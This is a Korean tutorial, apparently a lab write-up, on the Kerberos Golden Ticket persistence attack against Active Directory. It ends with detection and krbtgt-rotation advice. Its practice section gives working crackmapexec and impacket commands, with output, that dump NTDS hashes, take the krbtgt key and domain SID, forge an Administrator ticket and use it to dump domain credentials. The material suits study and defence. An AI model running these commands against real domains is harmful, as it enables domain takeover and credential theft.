골든 티켓은 이미 도메인 관리자 권한을 획득하여 krbtgt의 키를 확보했을 때, 높은 권한을 지속적으로 이용할 수 있도록 도와주는 지속성 공격 기법입니다.
Kerberos 인증 과정에서 TGT를 발급받을 때, TGT의 정보는 krbtgt의 키로 암호화가 되어 있어 일반적인 사용자는 TGT 정보를 변조하거나 읽을 수 없습니다. 하지만 krbtgt의 키를 확보한 이후 공격자는 오프라인에서 가장하려는 사용자의 TGT를 임의로 생성할 수 있고, 이러한 TGT를 이용해 높은 권한으로 서비스를 이용하거나 Pass the Ticket을 통한 도메인 사용자 가장이 가능합니다.
골든 티켓의 특징으로는 공격자가 완전한 오프라인 상태에서 도메인 컨트롤러와의 어떠한 연결 없이 TGT를 생성할 수 있다는 것입니다. 따라서 Kerberos의 1 ~ 2단계인 AS-REQ와 AS-RES 단계가 생략된 상태로 TGS-REQ 과정으로 바로 시작하게 됩니다. 침해 사실을 모르는 상태에서 골든 티켓을 탐지하기 위해 모든 티켓 통신 과정에서 생략된 부분을 모니터링 하는 것은 어렵지만, 만약 모니터링을 강화한다면 골든 티켓 공격은 공백의 AS-REQ를 통해 탐지할 수 있습니다.
골든 티켓을 이용하기 위해 필요한 정보는 다음과 같습니다.
도메인 SID
krbtgt 키
Practice
DCSync 권한 혹은 도메인 관리자 권한이 있다면 cme를 통해서 NT Hash 덤핑이 가능합니다.
# krbtgt 키 출력
└─# crackmapexec smb 10.0.2.10 -u Administrator -p Password123! --ntds
SMB 10.0.2.10 445 DC01 [*] Windows Server 2016 Datacenter Evaluation 14393 x64 (name:DC01) (domain:offsec.local) (signing:True) (SMBv1:True)
SMB 10.0.2.10 445 DC01 [+] offsec.local\Administrator:Password123! (Pwn3d!)
SMB 10.0.2.10 445 DC01 [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 10.0.2.10 445 DC01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
SMB 10.0.2.10 445 DC01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.0.2.10 445 DC01 krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0126e8d0c94b36875977a82182b5c447:::
# 도메인 SID 출력
└─# impacket-lookupsid 'offsec.local/Administrator:Password123!'@10.0.2.10 -domain-sids
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Brute forcing SIDs at 10.0.2.10
[*] StringBinding ncacn_np:10.0.2.10[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4273732785-2380758271-4255945284
# 도메인 Administrator TGT 발급
└─# impacket-ticketer Administrator -domain offsec.local -domain-sid S-1-5-21-4273732785-2380758271-4255945284 -nthash 0126e8d0c94b36875977a82182b5c447
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in Administrator.ccache
# 환경 변수 등록
export KRB5CCNAME=Administrator.ccache
# 티켓을 통한 권한 ntds 덤핑 권한 확인
└─# impacket-secretsdump -k DC01.offsec.local
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Target system bootKey: 0xf865b42139fd2b1b45de4e9f08d15bcb
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8119935c5f7fa5f57135620c8073aaca:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
offsec\Administrator:Password123!
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
골든 티켓은 사용자의 패스워드가 변경된다고 하더라도 문제 없이 사용이 가능합니다. 따라서 공격을 방어하기 위해서는 krbtgt의 패스워드를 복잡한 것으로 주기적으로 변경해주는 것이 유일한 방안입니다. 또한 티켓은 krbtgt의 패스워드가 2회 변경될 경우 유효하지 않은 것으로 간주하여 폐기되는데, 이는 실제 침해 당한 도메인에서 사용하는 대응 방안이기도 합니다.